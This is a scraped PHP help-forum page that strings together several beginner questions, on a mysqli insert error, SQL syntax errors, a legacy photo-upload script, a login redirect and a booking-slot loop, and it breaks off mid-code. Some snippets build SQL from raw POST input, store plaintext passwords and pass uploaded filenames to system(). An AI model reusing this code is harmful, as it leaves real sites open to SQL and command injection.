PHP - Baffled About Line 2 Error Message In Simple Script
PHP = 5.5.14
MySQL = 5.2.17
I've cloned a mysqli_connect() statement in a 'require' file placed in a non-public access location on the server. It's the same format (and location) currently working fine with another application, EXCEPT i changed the database name to what I need to use for this application, AND added the $con= part on the front end to substitute for the commented out $con= line in the example code I'm modifying to insert data into a new MySQL DB Table.
The dB Table is fine and I have Inserted data via myPHPAdmin with no problems. Only two form variables are in the simple PHP script thus far just to test if it will work before proceeding.
I've used pseudonames for the actual /home/.... location and filename, and am now Baffled about the Line 2 Error Message I'm getting (below the code).
<?php require '/home/myusername/domains/mydomain.com/myclonedrequire.php'; //$con=mysqli_connect("example","uid","pwd","my_db"); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } // escape variables for security $year = mysqli_real_escape_string($con, $_POST['year']); $callsign = mysqli_real_escape_string($con, $_POST['callsign']); $sql="INSERT INTO `lqplogs` (`year`, `callsign`) VALUES ('$year', '$callsign'); if (!mysqli_query($con,$sql)) { die('Error: ' . mysqli_error($con)); } echo "1 record added"; mysqli_close($con); ?>ERROR Message: Warning: Unexpected character in input: '\' (ASCII=92) state=1 in (above file & location) on line 2 There are NO '\' characters in any of my files. Here is the simple Form file code: <?php ?> <html: <head><title></title></head> <body> <form action="insert.php" method="post"> YEAR: <input type="text" name="year"> CALLSIGN: <input type="text" name="callsign"> <input type="submit"> </form> </body> </html> <?php ?>Thanks for any assistance! -FreakingOUT Similar Tutorials I’ve just read several manual pages and forum comments on "Error number 1064" but I still don’t understand what’s going on with the problem I'm having now … Also, I'm surprised that the error message mentions two different line numbers (1 and 35). Here is the error message I get : And here are the contents of my "one_more_visit_to_topic.php" file : <?php include("includes/model/database_searches/see_readings.php"); include("includes/model/database_searches/see_watchings.php"); function one_more_visit_to_topic($user_id,$topic_id) { global $db; $request_string='UPDATE forum_topic '. 'SET topic_vu = topic_vu + 1 WHERE topic_id = :topic'; $query=$db->prepare($request_string); $query->bindValue(':topic',$topic_id,PDO::PARAM_INT); $query->execute(); $query->CloseCursor(); // Remember that topic has been read by user if(!(see_if_user_has_read_topic($user_id,$topic_id))) { $request_string='INSERT INTO forum_read (fr_topic_id,fr_user_id) '. 'VALUES (:topic,:user)'; $query=$db->prepare($request_string); $query->bindValue(':topic',$topic_id,PDO::PARAM_INT); $query->bindValue(':user',$user_id,PDO::PARAM_INT); $query->execute(); $query->CloseCursor(); } // If user has already received a warning by mail, // the "alert" value needs to be toggled in the fw_watch table if(see_if_user_has_been_warned($user_id,$topic_id)) { $request_string='UPDATE forum_read SET fw_alert = :alt '. 'WHERE fw_topic_id = :topic AND fw_user_id= :user)'; $query=$db->prepare($request_string); $query->bindValue(':topic',$topic_id,PDO::PARAM_INT); $query->bindValue(':user',$user_id,PDO::PARAM_INT); $one=(int)1; $query->bindValue(':alt',$one,PDO::PARAM_INT); $query->execute(); $query->CloseCursor(); } return; } ?> The alias form isn't being read for some reason, with having $alias = $_POST['alias']; i don't quiet understand why this isn't it isn't being picked up as a variable below, any clues? cheers Code: [Select] <?php include("header.php"); if(isset($_POST['formAlias']) && $_POST['formAlias'] == 'Yes') { $alias = $_POST['alias']; $alias = preg_replace("/[^a-zA-Z0-9_]/", "", $alias); $namelength = strlen($alias); if($namelength < 3){ $error1="Your alias must be at least 3 characters!</span></div>"; echo $error1; }else{ } $query = sprintf("SELECT COUNT(id) FROM players WHERE UPPER(alias) = UPPER('$alias')", mysql_real_escape_string($alias)); $result = mysql_query($query); list($count) = mysql_fetch_row($result); if($count >= 1) { $error1="$alias is already taken."; echo $error1; }else{ } $sql = "updatehereble"; mysql_query($sql) or die(mysql_error()); }else{ } ?> </p> <p> <input name="alias" type="text" id="alias"> </p> <form action="alias.php" method="post"> Do you wish to use an alias? <input type="checkbox" name="formAlias" value="Yes" /> <input type="submit" name="formSubmit" value="Submit" /> </form> I have been using this script for years. I realise it is a little old and probably not well written, however it has been functional. I suspect the problem is that maybe they have turned the register_globals off at the server and the script is no longer working. I don't know if that is the problem. The error I get when I attempt to upload an image is this: Error: MySQL error reported! Query: INSERT INTO photos values(NULL,'corrobex', 1, 10, , 'makinti', '', '', 'makinti.jpg', 571, 381, 42520, '0', 0, 0, 0, '1', , '0', 'no', '', '', '', '', '') Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'makinti', '', '', 'makinti.jpg', 571, 381, 42520, '0', 0, 0, 0, '1', , '0', 'n' at line 1 Database handle: Resource id #3 Now here is the script: Code: [Select] <?php include("pp-inc.php"); include("login-inc.php"); include("image-inc.php"); if ( is_array($HTTP_POST_FILES) ) { while(list($key,$value) = each($HTTP_POST_FILES)) { ${$key} = $value; } } function handleupload( $location = "data" ) { global $HTTP_POST_FILES, $userid, $Globals, $category; $tmpname = $HTTP_POST_FILES['theimage']['tmp_name']; $realname = $HTTP_POST_FILES['theimage']['name']; $tmpcloseup = $HTTP_POST_FILES['closeup']['tmp_name']; if (is_uploaded_file($tmpname) ) { $realname = fixfilenames( $realname ); $closeup = preg_replace("/(\.[A-Za-z]+)$/", "-closeup\\1", $realname); if ( $location != "data" ) { $dst_file = $location; } else { $dst_file = $Globals{'datafull'}."$category/$userid$realname"; $closeup_file = $Globals{'datafull'}."$category/$userid$closeup"; } copy($tmpname, $dst_file); copy($tmpcloseup, $closeup_file); } else { dieWell("Uploaded file not found: $realname<br>Typical reason is that the file exceeded allowed limits."); exit; } return; } authenticate(); $nolimit = 0; if ( $Globals{'adminnolimit'} == "yes" && $adminedit == 1 ) { $nolimit = 1; } $adminexclude = 0; if ( $Globals{'adminexclude'} == "yes" && $adminedit == 1 ) { $adminexclude = 1; } if ( $adminedit == 0 ) { if ( $Globals{'allowup'} == "no" ) { dieWell( "User uploads not allowed" ); } } $querystring = findenv("QUERY_STRING"); if ( ($useruploads == 0 && $gologin==1) || $querystring == "gologin" ) { $furl=$Globals{'maindir'}; $furl= str_replace( $Globals{'domain'}, "", $furl ); $furl="$furl/uploadphoto.php"; login( $furl ); exit; } if ( $gologin != 0 ) { if ( $useruploads == 0 ) { dieWell("Sorry, you don't have permission to upload photos."); exit; } } topmenu(); if ( !isset($theimage) ) { $catdefault = ""; if ( !empty($cat) ) { $query = "SELECT id,catname,thumbs FROM categories WHERE id=$cat LIMIT 1"; $resultb = ppmysql_query($query,$link); while ( list( $subid, $subcatname, $subthumbs ) = mysql_fetch_row($resultb) ) { if ( $ugcat{$subid} != 1 ) { $catdefault = "<option selected value=\"$subid\">$subcatname</option>"; } } ppmysql_free_result( $resultb ); } $header = str_replace( "titlereplace", "Upload Photo", $header ); $output = "$header<center><p> <table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" height=\"40\" width=\"".$Globals{'tablewidth'}."\"><Tr> <Td valign=\"middle\" width=\"50%\">$menu2</td> <td width=\"50%\" align=\"right\" valign=\"middle\">$menu</td></tr></table> <table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" bgcolor=\"".$Globals{'bordercolor'}."\" width=\"".$Globals{'tablewidth'}."\" align=\"center\"><tr><td> <table cellpadding=\"4\" cellspacing=\"1\" border=\"0\" width=\"100%\"> <tr align=\"center\"> <td colspan=\"1\" align=\"left\" bgcolor=\"".$Globals{'headcolor'}."\"><font face=\"".$Globals{'headfont'}."\" color=\"".$Globals{'headfontcolor'}."\" size=\"".$Globals{'fontmedium'}."\"><B>".$Globals{'galleryname'}." Image Upload</font></td> <td colspan=\"1\" align=\"right\" bgcolor=\"".$Globals{'headcolor'}."\"><font face=\"".$Globals{'mainfonts'}."\" color=\"".$Globals{'headfontcolor'}."\" size=\"".$Globals{'fontmedium'}."\"> <a href=\"javascript:PopUpHelp('uploadphoto.php')\">help</a></font> </td> </tr> <form method=\"post\" action=\"".$Globals{'maindir'}."/uploadphoto.php\" enctype=\"multipart/form-data\"> <tr><Td bgcolor=\"".$Globals{'maincolor'}."\"><font size=\"".$Globals{'fontmedium'}."\" face=\"".$Globals{'mainfonts'}."\" color=\"".$Globals{'maintext'}."\">Username</font></td><td bgcolor=\"".$Globals{'maincolor'}."\"> <font size=\"".$Globals{'fontmedium'}."\" face=\"".$Globals{'mainfonts'}."\" color=\"".$Globals{'maintext'}."\">$username</td></tr> <tr><Td bgcolor=\"".$Globals{'maincolor'}."\" width=\"50%\"><font size=\"".$Globals{'fontmedium'}."\" color=\"".$Globals{'maintext'}."\" face=\"".$Globals{'mainfonts'}."\">Choose a category</font></td><Td bgcolor=\"".$Globals{'maincolor'}."\"><select name=\"category\">$catdefault"; if (empty($subid)) $subid=""; $selected = $subid; catmoveopt(0); $output .= $catoptions; $imgdir = $Globals{'zipuploaddir'}."/$userid"; $skiphtml = "</table><table cellpadding=\"4\" cellspacing=\"0\" border=\"0\" width=\"100%\"> <tr><Td bgcolor=\"".$Globals{'headcolor'}."\" align=\"center\"> <font size=\"".$Globals{'fontmedium'}."\" color=\"".$Globals{'headfontcolor'}."\" face=\"".$Globals{'mainfonts'}."\"> <b>ADMIN OPTIONS FOR BULK OR ZIP UPLOADS</b></font> </td> <td align=\"right\" bgcolor=\"".$Globals{'headcolor'}."\"><font face=\"".$Globals{'mainfonts'}."\" color=\"".$Globals{'headfontcolor'}."\" size=\"".$Globals{'fontmedium'}."\"> <a href=\"javascript:PopUpHelp('adminskip.php')\">help</a></font> </td> </tr></table> <table cellpadding=\"4\" cellspacing=\"1\" border=\"0\" width=\"100%\"> <tr><Td bgcolor=\"".$Globals{'maincolor'}."\"><font size=\"".$Globals{'fontmedium'}."\" color=\"".$Globals{'maintext'}."\" face=\"".$Globals{'mainfonts'}."\">Skip upload and process the files in your upload directory<br><font size=\"".$Globals{'fontsmall'}."\">Files should already be in: <b>$imgdir</b></td> <td bgcolor=\"".$Globals{'maincolor'}."\" align=\"center\"><input type=\"checkbox\" name=\"skipupload\" value=\"skipupload\"></td></tr> <tr><Td bgcolor=\"".$Globals{'maincolor'}."\"><font size=\"".$Globals{'fontmedium'}."\" color=\"".$Globals{'maintext'}."\" face=\"".$Globals{'mainfonts'}."\">Show thumbnails during processing?</td> <td bgcolor=\"".$Globals{'maincolor'}."\" align=\"center\"><font size=\"".$Globals{'fontmedium'}."\" color=\"".$Globals{'maintext'}."\" face=\"".$Globals{'mainfonts'}."\"><select name=\"dthumbs\"><option selected>yes</option><option>no</option></select></font></td></tr> <tr><Td bgcolor=\"".$Globals{'maincolor'}."\"><font size=\"".$Globals{'fontmedium'}."\" color=\"".$Globals{'maintext'}."\" face=\"".$Globals{'mainfonts'}."\">Number of thumbnails to process next?</td> <td bgcolor=\"".$Globals{'maincolor'}."\" align=\"center\"><font size=\"".$Globals{'fontmedium'}."\" color=\"".$Globals{'maintext'}."\" face=\"".$Globals{'mainfonts'}."\"><select name=\"numprocess\"><option selected>10</option><option>25</option><option>50</option><option>100</option></select></td></tr>"; $output .= "</select></td></tr> <tr><Td bgcolor=\"".$Globals{'maincolor'}."\"><font size=\"".$Globals{'fontmedium'}."\" face=\"".$Globals{'mainfonts'}."\" color=\"".$Globals{'maintext'}."\">Photo to upload:</font><br><b><font size=\"".$Globals{'fontsmall'}."\" face=\"".$Globals{'mainfonts'}."\" color=\"red\">$maxfilesize</font></b></td><td bgcolor=\"".$Globals{'maincolor'}."\"><input type=\"file\" name=\"theimage\"></td></tr> <tr><Td bgcolor=\"".$Globals{'maincolor'}."\"><font size=\"".$Globals{'fontmedium'}."\" face=\"".$Globals{'mainfonts'}."\" color=\"".$Globals{'maintext'}."\">Matching closeup to upload:</font><br><b><font size=\"".$Globals{'fontsmall'}."\" face=\"".$Globals{'mainfonts'}."\" color=\"red\">$maxfilesize</font></b></td><td bgcolor=\"".$Globals{'maincolor'}."\"><input type=\"file\" name=\"closeup\"></td></tr> <tr><Td bgcolor=\"".$Globals{'maincolor'}."\"><font size=\"".$Globals{'fontmedium'}."\" color=\"".$Globals{'maintext'}."\" face=\"".$Globals{'mainfonts'}."\">Enter a title for the photo</td><td bgcolor=\"".$Globals{'maincolor'}."\"><input type=\"text\" name=\"title\"></td></tr> <tr><Td bgcolor=\"".$Globals{'maincolor'}."\"><font size=\"".$Globals{'fontmedium'}."\" color=\"".$Globals{'maintext'}."\" face=\"".$Globals{'mainfonts'}."\">To help users find your photo, please enter a few (up to 10) descriptive keywords (separated by spaces):</td><td bgcolor=\"".$Globals{'maincolor'}."\"><input type=\"text\" name=\"keywords\"></td></tr> <tr><Td bgcolor=\"".$Globals{'maincolor'}."\"><font size=\"".$Globals{'fontmedium'}."\" color=\"".$Globals{'maintext'}."\" face=\"".$Globals{'mainfonts'}."\">Photo Description</td><td bgcolor=\"".$Globals{'maincolor'}."\"><textarea name=\"desc\" cols=\"30\" rows=\"5\"></textarea></td></tr> $skiphtml <Center> <Tr><Td colspan=\"2\" bgcolor=\"".$Globals{'maincolor'}."\"><font size=\"".$Globals{'fontmedium'}."\" face=\"".$Globals{'mainfonts'}."\"><center> <input type=\"hidden\" name=\"password\" value=\"$password\"> <input type=\"hidden\" name=\"userid\" value=\"$userid\"> <input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"2000000\"> <input type=\"submit\" value=\"Upload/Submit\"> <p><b>When you hit SUBMIT, the file you selected will be uploaded.</b><br></font><font size=\"".$Globals{'fontsmall'}."\" face=\"".$Globals{'mainfonts'}."\"> (Depending on the size of the file and your connection, this may take some time. <b>Please be patient.</b>)</p></font></td></tr></table></td></tr></table><p>".$Globals{'cright'}."$footer"; print $output; } else { if (empty($skipupload)) $skipupload=""; if ( $category == "" ) { dieWell( "You must choose a category before uploading."); exit; } if ( $skipupload == "skipupload" ) { $deftitle = urlencode($title); $defdesc = urlencode($desc); $furl = $Globals{'zipuploadurl'}."/$userid"; forward( $Globals{'maindir'}."/bulkupload.php?ppaction=addphotos&do=preview&photopath=$userid&deftitle=$deftitle&defdesc=$defdesc&defcat=$category&keywords=$keywords&numprocess=$numprocess&dthumbs=$dthumbs&furl=$furl", "Preparing to process image list!" ); exit; } $realname = $HTTP_POST_FILES['theimage']['name']; if ( $realname == "" ) { dieWell( "You need to enter the name of a file to upload! $thevideo / $theimage" ); exit; } $realname = fixfilenames( $realname ); $theext = get_ext( $realname ); $filepath = $Globals{'datafull'}."$category/$userid$realname"; $outfilename = "$userid$realname"; $query = "SELECT userid,bigimage FROM photos where userid=$userid"; $resulta = ppmysql_query($query,$link); while( list( $uid, $bgimage ) = mysql_fetch_row($resulta) ) { if ($uid == $userid && $uid != 0) { if ( $bgimage == $realname ) { dieWell("Sorry, you already uploaded an image called $realname. Try a different name."); exit; } } } ppmysql_free_result($resulta); $title = fixmessage( $title ); $keywords = fixmessage( $keywords ); $desc = fixmessage( $desc ); if ( $category == "notcat" ) { $emessage = "The category you chose is a top level category.<p>Please go back and choose one of its subcategories to upload your image."; dieWell($emessage); } //####// Write the file to a directory ##### //#// Do you wish to allow all file types? yes/no (no capital letters) $allowall = "no"; //#// If the above = "no"; then which is the only extention to allow? //#// Remember to have the LAST 4 characters i.e. .ext if ($realname != "") { $isfilegood = "yes"; if ( $allowall != "yes" ) { if ( !is_image($outfilename) ) { $isfilegood = "no"; } } if ($isfilegood == "yes") { handleupload(); } // // ZIP Uploads for Users // if ( $Globals{'allowzip'} ) { if (strtolower(substr($outfilename,strlen($outfilename) - 4,4)) == ".zip" ) { $filepath = $Globals{'zipuploaddir'}."/$userid"; $filedir = "$filepath/$outfilename"; if ( !file_exists( $filepath ) ) { mkdir( $filepath, 0755 ); chmod( $filepath, 0777 ); } chdir( $filepath ); handleupload( $filedir ); $sys_cmd = $Globals{'zip_command'}." -qq $filedir"; system( $sys_cmd ); unlink( $filedir ); $deftitle = urlencode($title); $defdesc = urlencode($desc); $furl = $Globals{'zipuploadurl'}."/$userid"; if ( empty($numprocess) ) $numprocess = 10; if ( empty($dthumbs) ) $dthumbs = "yes"; forward( $Globals{'maindir'}."/bulkupload.php?ppaction=addphotos&do=preview&photopath=$userid&deftitle=$deftitle&defdesc=$defdesc&defcat=$category&keywords=$keywords&numprocess=$numprocess&dthumbs=$dthumbs&furl=$furl", "Preparing to process image list!" ); exit; } } } if ( file_exists($filepath) ) { $insize = filesize( $filepath ); } else { dieWell("File upload error. Cannot find uploaded file.<br>Path: [$filepath]"); exit; } if ( $isfilegood != "yes" ) { dieWell( "Image must be a .jpg, .gif, .tif or .png file." ); exit; } $thumbsize = create_thumb( $realname, $filepath, $category ); process_image( $realname, $filepath, $category ); $query = "SELECT id FROM photos WHERE userid=$userid AND bigimage='$realname'"; $resulta = ppmysql_query($query,$link); list( $forwardid ) = mysql_fetch_row($resulta); ppmysql_free_result($resulta); if ( empty($forwardid) ) { dieWell( "There was a problem processing your image: $realname.<p>Please notify the System Administrator." ); exit; } forward( $Globals{'maindir'}."/showphoto.php?photo=$forwardid", "Your image was uploaded successfully!" ); } ?> Do Globals need to be on for this to work? Or is there another problem? thanks Paul MOD EDIT: [code] . . . [/code] tags added. Dear All Good Day, i am new to PHP (a beautiful server side scripting language). i want to send a mail with line by line message i tried with different types like by placing the things in table and using <br /> but the thing is the tags are also visible in the message of the mail. Here is my code: $message1 = "Name :". $_REQUEST['name']."<br />"; $message1 .= "Surname :". $_REQUEST['surname']."<br />"; $message1 .= "Cellphone :". $_REQUEST['mobileno']."<br />"; $message1 .= "Telephone :". $_REQUEST['landno']."<br />"; $message1 .= "Fax :". $_REQUEST['fax']."<br />"; $message1 .= "Company :". $_REQUEST['company']."<br />"; $message1 .= "Email :". $_REQUEST['email']."<br />"; $message1 .= "Country :". $_REQUEST['country']."<br />"; $message1 .= "Enquity :". $_REQUEST['enquiry']."<br />"; $message1 .= "Date&Time :". $date."<br />"; For this code if try to print/echo it it is working fine it is displaying line by line, but using this variable ($message1) in the mail these <br /> are also visible. Can any one guide me to resolve(to remove these tags from the message part) this issue. Thanks in Advance. :confused: Hi everybody, my goal is to get the IP of someone accesing the site, writing the time and date along with his IP into the database. Of course, I would be adding the script to my frontpage when I make it work. But I get this error: Quote Parse error: syntax error, unexpected T_VARIABLE in D:\Program Files\xampp\xampp\htdocs\script1.php on line 8 I've checked line 8, I dont find anything in it that is out of place. Here is the code: <?php $ip = $_SERVER['REMOTE_ADDR']; $date = date("m.d.y"); $time = time(); mysql_connect ("localhost", "root", "********") or die ('Error: '. mysql_error()); mysql_select_db ("ip"); $query = "INSERT INTO ipdo (time, date, ip) VALUES ('"$time"', '"$date"', '"$ip"')"; mysql_query($query) or die ('Error updating database'); echo "Database updated with: " .$ip. "" ; ?> This is the first script I write entirely on my own, so be gentle Help? Hi Everyone, Just wondered if someone could quickly help me out, im building a simple login system for my website but having a little bit of trouble, the error i keep getting is: Quote Cannot modify header information - headers already sent by (output started at /home/sites/cuju8.com/public_html/include.php:18) in /home/sites/cuju8.com/public_html/login.php on line 12 I have done some research but cant find the answer to this, my login script is as follows: Code: [Select] <?php require_once('include.php'); $error = ''; $form = $_POST['submit']; $email = $_POST['email']; $password = $_POST['password']; if( isset($form) ) { if( isset($email) && isset($password) && $email !== '' && $password !== '' ) { $sql = mysql_query("SELECT * FROM `usersystem` WHERE email='$email' and password='$password';"); if( mysql_num_rows($sql) != 0 ) { //success $_SESSION['logged-in'] = true; [b]header('Location: members.php');[/b] exit; } else { $error = "Incorrect login info"; } } else { $error = 'All information is not filled out correctly';} } ?> I think its the header location code thats causing the problem but im not sure where to move it too. If anyone could help i would really appreciate it. Cheers I am a new developer, trying to figure out what causing a memory error. The code goes through registered appointments and depends on the service ID, I have to free a 45 minutes for another service to be booked. Now, once I book an appointment for any of the services that can have 45 minutes free spot, the website takes forever to load the hours but doesn't show them, instead I get this error A PHP Error was encountered Severity: Error Message: Maximum execution time of 120 seconds exceeded
foreach ($appointments as $appointment) { foreach ($periods as $index => &$period) { $appointment_start = new DateTime($appointment['start_datetime']); $appointment_end = new DateTime($appointment['end_datetime']); if ($appointment_start >= $appointment_end) { continue; } $period_start = new DateTime($date . ' ' . $period['start']); $period_end = new DateTime($date . ' ' . $period['end']); $serviceId=$appointment['id_services']; $color1=1; $color2=2; $color3=3; $color4=4; $color5=5; $color6=6; $color7=7; $color8=8; $color9=9; $color10=10; $color11=11; $color12=12; $color13=13; $color14=14; $color15=15; $color16=16; $color17=17; $color18=18; $color19=19; $period_s=''; $period_e=''; if ($appointment_start <= $period_start && $appointment_end <= $period_end && $appointment_end <= $period_start) { // The appointment does not belong in this time period, so we will not change anything. continue; } else { if ($appointment_start <= $period_start && $appointment_end <= $period_end && $appointment_end >= $period_start) { // The appointment starts before the period and finishes somewhere inside. We will need to break // this period and leave the available part. //open slot for services 45,45,45 if($serviceId == $color1 || $serviceId == $color3 || $serviceId == $color7 || $serviceId == $color9|| $serviceId == $color10 || $serviceId == $color11 || $serviceId == $color12){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } //Open slot for service 45,45,60 else if($serviceId == $color2 || $serviceId == $color8){ $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } // // //Open slot for service 30,45,45 else if($serviceId == $color4 || $serviceId == $color6 ||$serviceId == $color16 || $serviceId == $color18){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } // // //Open slot for service 30,45,60 else if($serviceId == $color5 || $serviceId == $color17){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } // // //Open slot for service 60,45,45 else if($serviceId == $color13 || $serviceId == $color15){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } // // //Open slot for service 60,45,60 else if($serviceId == $color14 ){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } // //for the rest of services else { $period['start'] = $appointment_end->format('H:i');} } else { if ($appointment_start >= $period_start && $appointment_end < $period_end) { // The appointment is inside the time period, so we will split the period into two new // others. unset($periods[$index]); if($serviceId == $color1 || $serviceId == $color3 || $serviceId == $color7 || $serviceId == $color9|| $serviceId == $color10 || $serviceId == $color11 || $serviceId == $color12){ $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } // //Open slot for service 45,45,60 else if($serviceId == $color2 || $serviceId == $color8){ $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } // // //Open slot for service 30,45,45 else if($serviceId == $color4 || $serviceId == $color6 ||$serviceId == $color16 || $serviceId == $color18){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } // // //Open slot for service 30,45,60 else if($serviceId == $color5 || $serviceId == $color17){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } // // //Open slot for service 60,45,45 else if($serviceId == $color13 || $serviceId == $color15){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } // // //Open slot for service 60,45,60 else if($serviceId == $color14 ){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } //for other services once The code is completely correct else{ $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } } else if ($appointment_start == $period_start && $appointment_end == $period_end) { if($serviceId == $color1 || $serviceId == $color3 || $serviceId == $color7 || $serviceId == $color9|| $serviceId == $color10 || $serviceId == $color11 || $serviceId == $color12){ unset($periods[$index]); $period_s= $appointment_start; $period_s->modify('+45 minutes'); $period_e= $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } //Open slot for service 45,45,60 else if($serviceId == $color2 || $serviceId == $color8){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // // //Open slot for service 30,45,45 else if($serviceId == $color4 || $serviceId == $color6 ||$serviceId == $color16 || $serviceId == $color18){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // // //Open slot for service 30,45,60 else if($serviceId == $color5 || $serviceId == $color17){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // // //Open slot for service 60,45,45 else if($serviceId == $color13 || $serviceId == $color15){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // // //Open slot for service 60,45,60 else if($serviceId == $color14 ){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ];} // //for the rest of services else { unset($periods[$index]);} // The whole period is blocked so remove it from the available periods array. } else { if ($appointment_start >= $period_start && $appointment_end >= $period_start && $appointment_start <= $period_end) { // The appointment starts in the period and finishes out of it. We will need to remove //the time that is taken from the appointment. if($serviceId == $color1 || $serviceId == $color3 || $serviceId == $color7 || $serviceId == $color9|| $serviceId == $color10 || $serviceId == $color11 || $serviceId == $color12){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $period['end'] = $appointment_start->format('H:i'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } //Open slot for service 45,45,60 else if($serviceId == $color2 || $serviceId == $color8){ $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $period['end'] = $appointment_start->format('H:i'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // // //Open slot for service 30,45,45 else if($serviceId == $color4 || $serviceId == $color6 ||$serviceId == $color16 || $serviceId == $color18){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['end'] = $appointment_start->format('H:i'); } // // //Open slot for service 30,45,60 else if($serviceId == $color5 || $serviceId == $color17){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['end'] = 